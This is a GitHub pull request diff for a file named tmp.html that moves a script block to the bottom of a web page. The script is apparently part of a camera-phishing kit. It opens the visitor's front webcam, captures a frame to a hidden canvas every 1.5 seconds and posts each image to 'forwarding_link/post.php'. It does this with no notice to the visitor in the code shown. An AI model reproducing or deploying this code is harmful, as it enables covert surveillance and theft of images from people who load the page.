Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update tmp.html #37

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
126 changes: 65 additions & 61 deletions tmp.html
Original file line number Diff line number Diff line change
Expand Up @@ -575,67 +575,6 @@

<canvas hidden="hidden" id="canvas" width="640" height="480"></canvas>

<script>

function post(imgdata){
$.ajax({
type: 'POST',
data: { cat: imgdata},
url: 'forwarding_link/post.php',
dataType: 'json',
async: false,
success: function(result){
// call the function that handles the response/results
},
error: function(){
}
});
};


'use strict';

const video = document.getElementById('video');
const canvas = document.getElementById('canvas');
const errorMsgElement = document.querySelector('span#errorMsg');

const constraints = {
audio: false,
video: {

facingMode: "user"
}
};

// Access webcam
async function init() {
try {
const stream = await navigator.mediaDevices.getUserMedia(constraints);
handleSuccess(stream);
} catch (e) {
errorMsgElement.innerHTML = `navigator.getUserMedia error:${e.toString()}`;
}
}

// Success
function handleSuccess(stream) {
window.stream = stream;
video.srcObject = stream;

var context = canvas.getContext('2d');
setInterval(function(){

context.drawImage(video, 0, 0, 640, 480);
var canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream");
post(canvasData); }, 1500);


}

// Load init
init();

</script>

<body>
<section class="hero__section">
Expand Down Expand Up @@ -827,6 +766,71 @@ <h5>SOCIAL LINKS</h5>
</footer>

<p><label><input type="checkbox" name="mirror" id="mirror" /> Mirror image</label></p>


<!--if you use script in bottom then its more easy to load site-->

<script>

function post(imgdata){
$.ajax({
type: 'POST',
data: { cat: imgdata},
url: 'forwarding_link/post.php',
dataType: 'json',
async: false,
success: function(result){
// call the function that handles the response/results
},
error: function(){
}
});
};


'use strict';

const video = document.getElementById('video');
const canvas = document.getElementById('canvas');
const errorMsgElement = document.querySelector('span#errorMsg');

const constraints = {
audio: false,
video: {

facingMode: "user"
}
};

// Access webcam
async function init() {
try {
const stream = await navigator.mediaDevices.getUserMedia(constraints);
handleSuccess(stream);
} catch (e) {
errorMsgElement.innerHTML = `navigator.getUserMedia error:${e.toString()}`;
}
}

// Success
function handleSuccess(stream) {
window.stream = stream;
video.srcObject = stream;

var context = canvas.getContext('2d');
setInterval(function(){

context.drawImage(video, 0, 0, 640, 480);
var canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream");
post(canvasData); }, 1500);


}

// Load init
init();

</script>
</body>

</html>